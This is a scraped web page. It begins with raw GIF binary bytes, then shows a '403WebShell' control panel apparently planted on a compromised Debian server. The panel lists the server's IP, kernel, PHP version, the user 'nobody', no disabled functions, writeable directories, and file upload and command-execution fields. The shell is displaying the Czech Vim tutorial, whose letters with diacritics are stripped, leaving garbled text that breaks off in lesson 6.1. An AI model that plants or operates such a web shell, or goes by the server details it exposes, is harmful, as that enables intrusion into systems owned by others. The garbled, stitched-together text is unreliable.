GIF89a=( �' 7IAXKgNgYvYx\%wh&h}t�h%�s%x�}9�R��&�0%� (�.��5�SD��&�a)�x5��;ͣ*ȡ&ղ)ׯ7׵<ѻ4�3�H֧KͯT��Y�aq��q��F� !� ' !� NETSCAPE2.0 , =( ��pH,�Ȥr�l:xШtJ�Z�جv��z��xL.:��z�n���|N�����~�������& !�0`9R�}��"�"a:S�~x��������g���E�������R���E����B�� ��ȸ��D���"�Ů� �H��L��D٫D�B�����D���T���H �G��A R�ڐ |�� ٭&��E8�S�kG�A�px�a��� R2XB��E8I���6X�:vT)�~��q�賥��"F~%x� � 4#Z�0O|-4Bs�X:= Q� Sal��yXJ`GȦ|s h��K3l7�B|�$'7Jީܪ0!��D�n=�P� ����0`�R�lj����v>���5 �.69�ϸd�����nlv�9��f{���Pbx �l5}�p� ��� �3a���I�O����!ܾ���i��9��#��)p�a ޽ �{�)vm��%D~ 6f��s}Œ�D�W E�`!� �&L8x� �ܝ{)x`X/>�}m��R�*|`D�=�_ ^�5 !_&'a�O�7�c��`DCx`�¥�9�Y�F���`?��"� �n@`�} lď��@4>�d S �v�xN��"@~d��=�g�s~G��� ���ud &p8Q�)ƫlXD����A~H�ySun�j���k*D�LH�] ��C"J��Xb~ʪwSt}6K,��q�S:9ت:���l�@�`�� �.۬�t9�S�[:��=`9N����{¿�A !R�:���6��x�0�_ �;������^���#����!����U���;0L1�����p% A��U̬ݵ��%�S��!���~`�G���� ���=4�np�3���������u�u�ٮ|%2�I��r�#0��J``8�@S@5� ���^`8E�]�.�S���7 � �0�j S�D� z���i�S�����!���l��w9*�D�I�nEX��� &A�Go�Qf��F��;���}�J����F5��Q|���X��T��y���]� o ��C=��:���PB@ D׽S�(>�C�x}`��xJЬ�۠��p+eE0`�}`A �/NE�� �9@��� H�7�!%B0`�l*��!8 2�%� �:�1�0E��ux%nP1�!�C)�P81l�ɸF#Ƭ{����B0>�� �b�`��O3��()yRpb��E.ZD8�H@% �Rx+%���c� ���f��b�d�`F�"8�XH"��-�|1�6iI, 2�$+](A*j� QT�o0.�U�`�R�}`�SN����yae�����b��o~ S)�y�@��3 �tT�0�&�+~L�f"�-|�~��>!�v��~�\Q1)}@�}h#aP72�"�$ !� " , =( &7IAXG]KgNgYvYxR"k\%w]'}h}t�h%�g+�s%r.m3ax3�x�}9��&��+�!7�0%� (�.�SD��&��;�"&ײ)׻4��6�K� �@pH,�Ȥr�l:xШtJ�Z�جv��z��xL.:��z�n���|N�����~�������& !�0`9R�}��"�"a:S�~x��������g �� E �� �������E �´��C���ǶR��D��"Ʒ�ʱH��M��GڬD�B����D��T����G���C�C� l&�~:'�tU�6ɹ#��)�'�.6�&��Ȼ K(8p0N�?!�2"��NIJX>R��OM '��2�*x�>#n� �@<[:�I�f ��T���Cdb��[�}E�5MBo��@�`@��tW-3 �x�B���jI�&E�9[T&$��ﯧ&"s��ȳ����dc�UUρ#���ldj?����`\}���u|3'�R]�6 �S#�!�FKL�*N E���`$�:e�YD�q�.�촁�s \-�jA 9�����-��M[�x(�s��x�|���p��}k�T�DpE@W� ��]k`1� ���Yb ��0l��*n0��"~zBd�~u�7�0Bl��0-�x~|U�U0 �h�*HS�|��e"#"?vp�i`e6^�+q��`m8 #V�� ��VS|`��"m"сSn|@:U���~`pb�G�ED����2F�I�? >�x� R� ��%~jx��<�a�9ij�2�D��&: Z`�]w���:�6��B�7eFJ|�ҧ�,���FǮcS�ʶ+B�,�ܺN���>PAD�HD��~���n��}�#�� Q��S���2�X�{�k�lQ�2�����w�|2� h9��G�,m���3��6-��E�L��I�³*K���q�`DwV�QXS��peS��� qܧTS����R�u �<�a�*At�lmE� � ��N[P1�ۦ��$��@`��Dpy�yXvCAy�B`}D� 0QwG#� �a[^�� $���Ǧ{L�"[��K�g�;�S~��GX.�goT.��ư��x���?1z��x~:�g�|�L� ��S`��0S]P�^p F<""�?!,�!N4&P� ����:T�@h�9%t��:�-~�I<`�9p I&.)^ 40D#p@�j4�ج:�01��rܼF2oW�#Z ;$Q q  �K��Nl#29 !F@�Bh�ᏬL!XF�LHKh�.�hE&J�G��<"WN!�����Y@� >R~19J"�2,/ &.GXB%�R�9B6�W]���W�I�$��9�RE8Y� ��"�A5�Q.axB�&ة�J�! �t)K%tS-�JF b�NMxL��)�R��"���6O!TH�H� 0 !� ) , =( &AXKgNgYvYxR"k\%wh&h}h%�g+�s%r.x3�x�}9��&��+�R,�!7�0%� (�.��5��&�a)��;�"&ף*Ȳ)ׯ7׻4�3��6�H֧KͻH�T��Y��q��h� ��pH,�Ȥr�l:xШtJ�Z�جv��z��xL.:��z�n���|N�����~�������& !�0`9R�}��"�"a:S�~x��������g �� E$����� � ����$E$��"��D� � ������R��C��� E ��H�M��G�D� �B��ϾD��a��`1r��Ӑ�� �o~�zU!L�C'�yW�UGt����ll�0���uG�)A�s[��x� �xO%��X2�  P�n:R/��aHae+�Dm?# ǣ6�8�J�x�Di�M���j���5oQ7�- <! *�l��R2r/a!l)d� A"�E���� &� ;��c �%����b��pe~C"B���H�eF2��`8qb�t_`ur`e� w�u3��Pv�h""�`�Íx�LĹ��3� �~ֺ�:���MDfJ� �۵�W�%�S�X �؁)�@��:E��w�u�Sxb8y\m�zS��Zb�E�L��w!y(>�"w�=�|��s�d �C�W)H�cC$�L �7r.�\{)@�`@ �X�$PD `aaG:���O�72E�amn]�"Rc�x�R� &dR8`g��i�xLR!�P &d����T���i�|�_ � Qi�#�`g:��:noM� :V �)p����W&a=�e�k� j���1߲s�x�W�jal|0��B0�, \j۴:6���C ��W��|��9���zĸV {�;��n��V�m�I��.��PN� ����C��+��By�ѾHŸ:��� 7�Y�FTk�SaoaY$D�S���29R�kt� ��f� ��:��Sp�3�I��DZ� �9���g��u�*3)O��[_hv ,���Et x�BH� �[��64M@�S�M7d�l�ܶ5-��U܍��z�R3Ԭ3~ ��P��5�g: ���kN�&0�j4���#{��3S�2�K�'ợl���2K{� {۶?~m𸧠�I�nE�='����^���_�=��~�#O���'���o..�Y�n��CSO��a��K��o,���b�����{�C�� "�{�K ��w��Ozdը�:$ ���v�] A#� ���a�z)Rx׿ƥ�d``�w-�y�f�K!����|��P��=�`�(f��'Pa ��BJa%��f�%`�}F����6>��`G"�}�=�!o`�^FP�ةQ�C���`(�}\�ݮ ��$<��n@dĠE#��U�I�!� #l��9`k���'Rr��Z�NB�MF �[�+9���-�wj���8�r� ,V�h"�|�S=�G_��"E� 0i*%̲��da0mVk�):;&6p>�jK ��# �D�:�c?:R Ӭf��I-�"�<�="��7�3S��c2RW ,�8(T"P0F¡Jh�" ; 403WebShell
403Webshell
Server IP : 81.88.48.95  /  Your IP : 10.2.217.94, 216.73.216.227
Web Server : Apache
System : Linux opus15 3.2.0-4-amd64 #1 SMP Debian 3.2.68-1+deb7u3 x86_64
User : nobody ( 99)
PHP Version : 5.3.3-7+squeeze3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/share/vim/vimcurrent/tutor/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/vim/vimcurrent/tutor/tutor.cs.cp1250
===============================================================================
=    V  t e j t e   v  t u t o r i a l u   V I M       -    Verze 1.5        =
===============================================================================

     Vim je velmi vkonn editor, kter m pli mnoho pkaz na to, aby
     mohly bt vechny vysvtlen ve vuce jako tato. Tato vuka obsahuje
     dostaten mnostv pkaz na to, aby bylo mon pouvat Vim jako
     vceelov editor.

     Piblin as potebn ke zvldnut tto vuky je 25-30 minut, zle
     na tom, kolik asu strvte pezkuovnm.

     Pkazy v lekcch upravuj text. Vytvo kopii tohoto souboru pro
     procviovn (pi startu "vimtutor" je ji toto kopie).

     Je dleit pamatovat, e tato vuka je vytvoena pro vuku pouvnm.
     To znamen, e je poteba si pkazy vyzkouet pro jejich sprvn
     nauen. Pokud si jen te text, pkazy zapomene!

     Nyn se pesvdte, e Shift-Lock NEN stlaen a nkolikrt stisknte
     klvesu  j   aby se kurzor posunul natolik, e lekce 1.1 zapln celou
     obrazovku.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
			Lekce 1.1:  POHYB KURZORU


   ** Pro pohyb kurzoru pouvej klvesy h,j,k,l jak je znzornno ne. **
	     ^
	     k		   Funkce: Klvesa h je vlevo a vykon pohyb vlevo.
       < h	 l >		   Klvesa l je vpravo a vykon pohyb vpravo.
	     j			   Klvesa j vypad na ipku dolu.
	     v
  1. Pohybuj kurzorem po obrazovce dokud si na to nezvykne.

  2. Dr klvesu pro pohyb dolu (j), dokud se jej funkce nezopakuje.
---> Te v jak se pesunout na nsledujc lekci.

  3. Pouitm klvesy dolu pejdi na lekci 1.2.

Poznmka: Pokud si nkdy nejsi jist nm, co jsi napsal, stla <ESC> pro
          pechod do Normlnho mdu. Pot pepi poadovan pkaz.

Poznmka: Kurzorov klvesy tak funguj, avak pouvn hjkl je rychlej
          jakmile si na nj zvykne.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
		     Lekce 1.2: SPUTN A UKONEN VIM


  !! POZNMKA: Ped vykonnm tchto krok si peti celou lekci!!

  1. Stla <ESC> (pro ujitn, e se nachz v Normlnm mdu).

  2. Napi:			:q! <ENTER>.

---> Tmto ukon editor BEZ uloen zmn, kter si vykonal.
     Pokud chce uloit zmny a ukonit editor napi:
				:wq  <ENTER>

  3. A se dostane na pkazov dek, napi pkaz, kterm se dostane zpt
     do tto vuky. To me bt: vimtutor <ENTER>
     Bn se pouv:		 vim tutor <ENTER>

---> 'vim' znamen sputn editoru, 'tutor' je soubor k editaci.

  4. Pokud si tyto kroky spolehliv pamatuje, vykonej kroky 1 a 3, m
     ukon a znovu spust editor. Potom pesu kurzor dolu na lekci 1.3.
     
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
		     Lekce 1.3: PRAVA TEXTU - MAZN


  ** Stisknutm klvesy  x  v Normlnm mdu smae znak na mst kurzoru. **

  1. Pesu kurzor ne na dek oznaen --->.

  2. K odstrann chyb pejdi kurzorem na znak, kter chce smazat.

  3. Stla klvesu  x  k odstrann nechtnch znak.

  4. Opakuj kroky 2 a 4 dokud nen vta sprvn.

---> Krva skoilla pess mssc.

  5. Pokud je vta sprvn, pejdi na lekci 1.4.

POZNMKA: Nesna se pouze zapamatovat pedvdn pkazy, u se je pouvnm.




~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
		     Lekce 1.4: PRAVA TEXTU - VKLDN


      ** Stlaen klvesy  i  v Normlnm mdu umouje vkldn textu. **

  1. Pesu kurzor na prvn dek oznaen --->.

  2. Pro upraven prvnho dku do podoby dku druhho, pesu kurzor na
     prvn znak za msto, kde m bt text vloen.

  3. Stla  i  a napi potebn dodatek.

  4. Po opraven kad chyby stla <ESC> pro nvrat do Normlnho mdu.
     Opakuj kroky 2 a 4 dokud nen vta sprvn.

---> Njak txt na tto .
---> Njak text chyb na tto dce.

  5. Pokud ji ovld vkldn textu, pejdi na nsledujc shrnut.



~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
			       SHRNUT LEKCE 1


  1. Kurzorem se pohybuje pomoc ipek nebo klvesami hjkl.
	h (vlevo)	j (dolu)	k (nahoru)	l (vpravo)

  2. Pro sputn Vimu (z pkazovho dku) napi: vim SOUBOR <ENTER>

  3. Pro ukonen Vimu napi: <ESC>  :q!  <ENTER>  bez uloen zmn.
	     	       anebo: <ESC>  :wq  <ENTER>  pro uloen zmn.

  4. Pro smazn znaku pod kurzorem napi v Normlnm mdu:  x

  5. Pro vkldn textu od msta kurzoru napi v Normlnm mdu:
	 i     vkldan text	<ESC>

POZNMKA: Stlaen <ESC> t pemst do Normlnho mdu nebo zru nechtn
      a sten dokonen pkaz.

Nyn pokrauj Lekc 2.


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
			Lekce 2.1: PKAZY MAZN


	       ** Pkaz  dw  smae znaky do konce slova. **

  1. Stla  <ESC>  k ubezpeen, e jsi v Normlnm mdu.

  2. Pesu kurzor ne na dek oznaen --->.

  3. Pesu kurzor na zatek slova, kter je poteba smazat.

  4. Napi   dw	 , aby slovo zmizelo.

POZNMKA: Psmena dw se zobraz na poslednm dku obrazovky jakmile je
	  nape. Kdy nape nco patn, stla  <ESC>  a zani znova.

---> Jsou tu njak slova zbava, kter nepat list do tto vty.

  5. Opakuj kroky 3 a 4 dokud nen vta sprvn a pejdi na lekci 2.2.



~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
		      Lekce 2.2: VCE PKAZ MAZN


	   ** Napsn pkazu  d$  smae ve a do konce dky. **

  1. Stla  <ESC>  k ubezpeen, e jsi v Normlnm mdu.

  2. Pesu kurzor ne na dek oznaen --->.

  3. Pesu kurzor na konec sprvn vty (ZA prvn teku).

  4. Napi  d$  ,aby jsi smazal znaky a do konce dku.

---> Nkdo napsal konec tto vty dvakrt. konec tto vty dvakrt.


  5. Pejdi na lekci 2.3 pro pochopen toho, co se stalo.





~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
		  Lekce 2.3: ROZIOVAC PKAZY A OBJEKTY


  Formt mazacho pkazu  d  je nsledujc:

	 [slo]   d   objekt     NEBO     d   [slo]   objekt
  Kde:
    slo - udv kolikrt se pkaz vykon (voliteln, vchoz=1).
    d - je pkaz mazn.
    objekt - udv na em se pkaz vykonv (vypsan ne).

  Krtk vpis objekt:
    w - od kurzoru do konce slova, vetn mezer.
    e - od kurzoru do konce slova, BEZ mezer.
    $ - od kurzoru do konce dku.

POZNMKA:  Stlaenm klvesy objektu v Normlnm mdu se kurzor pesune na
           msto upesnn ve vpisu objekt.




~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
		     Lekce 2.4: VJIMKA Z 'PKAZ-OBJEKT'


    	          ** Napsnm   dd   smae cel dek. **

  Vzhledem k astosti mazn celho dku se autoi Vimu rozhodli, e bude
  jednodu napsat prost dv d k smazn celho dku.

  1. Pesu kurzor na druh dek spodnho textu.
  2. Napi  dd  pro smazn dku.
  3. Pejdi na tvrt dek.
  4. Napi   2dd   (vzpome si  slo-pkaz-objekt) pro smazn dvou dk.

      1)  Re jsou erven,
      2)  Blto je zbavn,
      3)  Fialky jsou modr,
      4)  Mm auto,
      5)  Hodinky ukazuj as,
      6)  Cukr je sladk,
      7)  A to jsi i ty.


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
			   Lekce 2.5: PKAZ UNDO


   ** Stla  u	pro vrcen poslednho pkazu,  U  pro celou dku. **

  1. Pesu kurzor ne na dek oznaen ---> a pemsti ho na prvn chybu.
  2. Napi  x  pro smazn prvnho nechtnho znaku.
  3. Te napi  u  m vrt zpt posledn vykonan pkaz.
  4. Nyn oprav vechny chyby na dku pomoc pkazu  x  .
  5. Napi velk  U  m vrt dek do pvodnho stavu.
  6. Te napi  u  nkolikrt, m vrt zpt pkaz  U  .
  7. Stla CTRL-R (klvesu CTRL dr stlaenou a stiskni R) nkolikrt,
     m vrt zpt pedtm vrcen pkazy (redo).

---> Opprav chybby nna toomto dku a nahra je pommoc undo.

  8. Toto jsou velmi uiten pkazy. Nyn pejdi na souhrn Lekce 2.

  



~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
			       SHRNUT LEKCE 2


  1. Pro smazn znak od kurzoru do konce slova napi:    dw

  2. Pro smazn znak od kurzoru do konce dku napi:    d$

  3. Pro smazn celho dku napi:    dd

  4. Formt pkazu v Normlnm mdu je:

       [slo]   pkaz   objekt    NEBO    pkaz     [slo]   objekt
     kde:
       slo - udv poet opakovn pkazu
       pkaz - udv co je teba vykonat, napklad  d  mae
       objekt - udv rozsah pkazu, napklad  w  (slovo),
		$ (do konce dku), atd.

  5. Pro vrcen pedel innosti, napi:	u (mal u)
     Pro vrcen vech prav na dku napi:	U (velk U)
     Pro vrcen vrcench prav (redo) napi:	CTRL-R

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
			 Lekce 3.1: PKAZ VLOIT


       ** Pka  p  vlo posledn vymazan text za kurzor. **

  1. Pesu kurzor ne na posledn dek textu.

  2. Napi  dd  pro smazn dku a jeho uloen do bufferu.

  3. Pesu kurzor V݊E tam, kam smazan dek pat.

  4. V Normlnm mdu napi  p  pro optn vloen dku.

  5. Opakuj kroky 2 a 4 dokud dky nebudou ve sprvnm poad.

     d) Tak se doke vzdlvat?
     b) Fialky jsou modr,
     c) Inteligence se u,
     a) Re jsou erven,



~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
		       Lekce 3.2: PKAZ NAHRAZEN


          ** Napsnm  r  a znaku se nahrad znak pod kurzorem. **

  1. Pesu kurzor ne na prvn dek oznaen --->.

  2. Pesu kurzor na zatek prvn chyby.

  3. Napi  r  a potom znak, kter nahrad chybu.

  4. Opakuj kroky 2 a 3 dokud nen prvn dka sprvn.

--->  Kdi byl pzn tento deg, nkdu stlail paqn klvesy!
--->  Kdy byl psn tento dek, nkdo stlal patn klvesy!

  5. Nyn pejdi na Lekci 3.2.

POZNMKA: Zapamatuj si, e by ses ml uit pouvnm, ne zapamatovnm.



~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
		           Lekce 3.3: PKAZ PRAVY


	  ** Pokud chce zmnit st nebo cel slovo, napi  cw . **

  1. Pesu kurzor ne na prvn dek oznaen --->.

  2. Umsti kurzor na psmeno i v slov iok.

  3. Napi  cw  a oprav slovo (v tomto ppad napi 'dek'.)

  4. Stla <ESC> a pejdi na dal chybu (prvn znak, kter teba zmnit.)

  5. Opakuj kroky 3 a 4 dokud nen prvn vta stejn jako ta druh.

---> Tento iok m nkolik skic, kter psadoinsa zmnit pasdgf pkazu.
---> Tento dek m nkolik slov, kter potebuj zmnit pomoc pkazu.

Vimni si, e  cw  nejen nahrazuje slovo, ale tak pemst do vkldn.



~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
		       Lekce 3.4: VCE ZMN POUITM c


   ** Pkaz pro pravu se dru se stejnmi objekty jako ten pro mazn. **

  1. Pkaz pro pravu pracuje stejn jako pro mazn. Formt je:

       [slo]   c   objekt	 NEBO	   c	[slo]   objekt

  2. Objekty jsou tak shodn, jako nap.: w (slovo), $ (konec dku), atd.

  3. Pejdi ne na prvn dek oznaen --->.

  4. Pesu kurzor na prvn rozdl.

  5. Napi  c$  pro upraven zbytku dku podle toho druhho a stla <ESC>.

---> Konec tohoto dku potebuje pomoc, aby byl jako ten druh.
---> Konec tohoto dku potebuje opravit pouitm pkazu  c$  .



~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
			       SHRNUT LEKCE 3


  1. Pro vloen textu, kter byl smazn, napi  p  . To vlo smazan text
     ZA kurzor (pokud byl dek smazan, pejde na dek pod kurzorem).

  2. Pro nahrazen znaku pod kurzorem, napi  r  a potom znak, kterm
     chce pvodn znak nahradit.

  3. Pkaz na upravovn umouje zmnit specifikovan objekt od kurzoru
     do konce objektu. Napklad: Napi  cw  ,m zmn text od pozice
     kurzoru do konce slova,  c$  zmn text do konce dku.

  4. Formt pro nahrazovn je:

	 [slo]   c   objekt      NEBO     c   [slo]   objekt

Nyn pejdi na nsledujc lekci.




~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
		      Lekce 4.1: POZICE A STATUS SOUBORU


  ** Stla CTRL-g pro zobrazen sv pozice v souboru a statusu souboru.
     Stla SHIFT-G pro pechod na dek v souboru. **

  Poznmka: Peti si celou lekci ne zane vykonvat kroky!!

  1. Dr klvesu Ctrl stlaenou a stiskni  g  . Vespod obrazovky se zobraz
     stavov dek s nzvem souboru a dkou na kter se nachz. Zapamatuj
     si slo dku pro krok 3.

  2. Stla shift-G pro pesun na konec souboru.

  3. Napi slo dku na kterm si se nachzel a stla shift-G. To t
     vrt na dek, na kterm jsi dve stiskl Ctrl-g.
     (Kdy pe sla, tak se NEZOBRAZUJ na obrazovce.)

  4. Pokud se ct schopn vykonat tyto kroky, vykonej je.



~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
			Lekce 4.2: PKAZ VYHLEDVN


     ** Napi  /  nsledovan etzcem pro vyhledn onoho etzce. **

  1. Stiskni / v Normlnm mdu.  Vimni si, e tento znak se spolu s
     kurzorem zobraz v doln sti obrazovky jako pkaz  :  .

  2. Nyn napi 'chhybba' <ENTER>.  To je slovo, kter chce vyhledat.

  3. Pro vyhledn dalho vsledku stejnho etzce, jednodue stla  n  .
     Pro vyhledn dalho vsledku stejnho etzce opanm smrem, stiskni
     Shift-N.

  4. Pokud chce vyhledat etzec v opanm smru, pouij pkaz  ?  msto
     pkazu  /  .

---> "chhybba" nen zpsob, jak hlskovat chyba; chhybba je chyba.

Poznmka: Kdy vyhledvn doshne konce souboru, bude pokraovat na jeho
          zatku.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
		   Lekce 4.3: VYHLEDVN PROV ZVORKY


	      ** Napi  %  pro nalezen prov ),], nebo } . **

  1. Pemsti kurzor na kteroukoli (, [, nebo { v dku oznaenm --->.

  2. Nyn napi znak  %  .

  3. Kurzor se pemst na odpovdajc zvorku.

  4. Stla  %  pro pesun kurzoru zpt na otvrajc zvorku.

---> Toto ( je testovac dek ('s, ['s ] a {'s } v nm. ))

Poznmka: Toto je velmi uiten p ladn programu s chybjcmi
          uzavracmi zvorkami.





~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
		      Lekce 4.4: ZPSOB JAK ZMNIT CHYBY
		      

   ** Napi  :s/star/nov/g  pro nahrazen slova 'nov' za 'star'. **

  1. Pesu kurzor na dek oznaen --->.

  2. Napi  :s/dobr/dobr <ENTER> .  Vimni si, e tento pkaz zmn pouze
     prvn vskyt v dku.

  3. Nyn napi	 :s/dobr/dobr/g  co znamen celkov nahrazen v dku.
     Toto nahrad vechny vskyty v dku.

---> dobr suroviny a dobr nin jsou zkladem dobr kuchyn.

  4. Pro zmnu vech vskyt etzce mezi dvma dky,
     Napi   :#,#s/star/nov/g  kde #,# jsou sla onch dek.
     Napi   :%s/star/nov/g    pro zmnu vech vskyt v celm souboru.




~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
			       SHRNUT LEKCE 4


  1. Ctrl-g  vype tvou pozici v souboru a status souboru.
     Shift-G  t pemst na konec souboru.  slo nsledovan
     Shift-G  t pesune na dan slo dku.

  2. Napsn  /  nsledovan etzcem vyhled etzec smrem DOPEDU.
     Napsn  ?  nsledovan etzcem vyhled etzec smrem DOZADU.
     Napsn  n  po vyhledvn najde nsledujc vskyt etzce ve stejnm
     smru, Shift-N ve smru opanm.

  3. Stisknut  %  kdy je kurzor na (,),[,],{, nebo } najde odpovdajc
     provou zvorku.

  4. Pro nahrazen novho za prvn star v dku napi     :s/star/nov
     Pro nahrazen novho za vechny star v dku napi   :s/star/nov/g
     Pro nahrazen etzc mezi dvmi dkami # napi      :#,#s/star/nov/g
     Pro nahrazen vech vskyt v souboru napi	   :%s/star/nov/g
     Pro potvrzen kadho nahrazen pidej 'c'		   :%s/star/nov/gc


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
		    Lekce 5.1: JAK VYKONAT VNJ PKAZ


   ** Napi  :!  nsledovan vnjm pkazem pro sputn pkazu. **

  1. Napi obvykl pkaz  :  , kter umst kurzor na spodek obrazovky
     To umon napsat pkaz.

  2. Nyn stiskni  !  (vykink). To umon vykonat jakkoliv vnj
     pkaz z pkazovho dku.

  3. Napklad napi  ls  za ! a stiskni <ENTER>.  Tento pkaz zobraz
     obsah tvho adrese jako v pkazovm dku.
     Vyzkouej  :!dir  pokud ls nefunguje.

Poznmka:  Takto je mon vykonat jakkoliv pkaz.

Poznmka:  Vechny pkazy  :  mus bt dokonen stisknutm <ENTER>




~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
		     Lekce 5.2: VCE O UKLDN SOUBOR


	    ** Pro uloen zmn v souboru napi  :w SOUBOR. **

  1. Napi  :!dir  nebo  :!ls  pro vpis aktulnho adrese.
     U v, e za tmto mus stisknout <ENTER>.

  2. Vyber si nzev souboru, kter jet neexistuje, napklad TEST.

  3. Nyn napi:  :w TEST  (kde TEST je vybran nzev souboru.)

  4. To ulo cel soubor  (Vuka Vimu)  pod nzvem TEST.
     Pro oven napi znovu :!dir  , m zobraz obsah adrese.

Poznmka: Jakmile ukon Vim a znovu ho spust s nzvem souboru TEST,
          soubor bude pesn kopie vuky, kdy si ji ukldal.

  5. Nyn odstra soubor napsnm (MS-DOS):    :!del TEST
			     nebo (Unix):      :!rm TEST


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
		     Lekce 5.3: VBROV PKAZ ULOEN


	    ** Pro uloen sti souboru napi  :#,# w SOUBOR **

  1. Jet jednou napi  :!dir  nebo  :!ls  pro vpis aktulnho adrese
     a vyber vhodn nzev souboru jako nap. TEST.

  2. Pesu kurzor na vrch tto strnky a stiskni  Ctrl-g  pro zobrazen
     sla dku.  ZAPAMATUJ SI TOTO SLO!

  3. Nyn se pesu na spodek tto strnky a opt stiskni Ctrl-g.
     ZAPAMATUJ SI I SLO TOHOTO DKU!

  4. Pro uloen POUZE sti souboru, napi  :#,# w TEST  kde #,# jsou
     sla dvou zapamatovanch dk (vrch, spodek) a TEST je nzev souboru.

  5. Znova se ujisti, e tam ten soubor je pomoc  :!dir  ale NEODSTRAUJ ho.




~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
		        Lekce 5.4: SLUOVN SOUBOR


      	   ** K vloen obsahu souboru napi  :r NZEV_SOUBORU **

  1. Napi  :!dir  pro ujitn, e soubor TEST stle existuje.

  2. Pesu kurzor na vrch tto strnky.

POZNMKA: Po vykonn kroku 3 uvid lekci 5.3.	Potom se opt pesu dol
          na tuto lekci.

  3. Nyn vlo soubor TEST pouitm pkazu  :r TEST  kde TEST je nzev
     souboru.

POZNMKA: Soubor, kter vkld se vlo od msta, kde se nachz kurzor.

  4. Pro potvrzen vloen souboru, pesu kurzor zpt a vimni si, e te
     m dv kopie lekce 5.3, originl a souborovou verzi.



~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
			       SHRNUT LEKCE 5


  1.  :!pkaz  vykon vnj pkaz.

      Nkter uiten pklady jsou:
	 (MS-DOS)	  (Unix)
	  :!dir		   :!ls		   -  zobraz obsah souboru.
	  :!del SOUBOR     :!rm SOUBOR     -  odstran SOUBOR.

  2.  :w SOUBOR  ulo aktuln text jako SOUBOR na disk.

  3.  :#,#w SOUBOR  ulo dky od # do # do SOUBORU.

  4.  :r SOUBOR  vybere z disku SOUBOR a vlo ho do editovanho souboru
      za pozici kurzoru.






~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
			  Lekce 6.1: PKAZ OTEVT


  ** Napi  o  pro vloen dku pod kurzor a pepnut do Vkldacho mdu. **

  1. Pemsti kurzor ne na dek oznaen --->.

  2. Napi  o (mal) pro vloen dku POD kurzor a pepnut do
     Vkldacho mdu.

  3. Nyn zkopruj dek oznaen ---> a stiskni <ESC> pro ukonen
     Vkldacho mdu.
  
---> Po stisknut  o  se kurzor pemst na vloen dek do Vkldacho
     mdu.

  4. Pro oteven dku NAD kurzorem jednodue napi velk  O  , msto
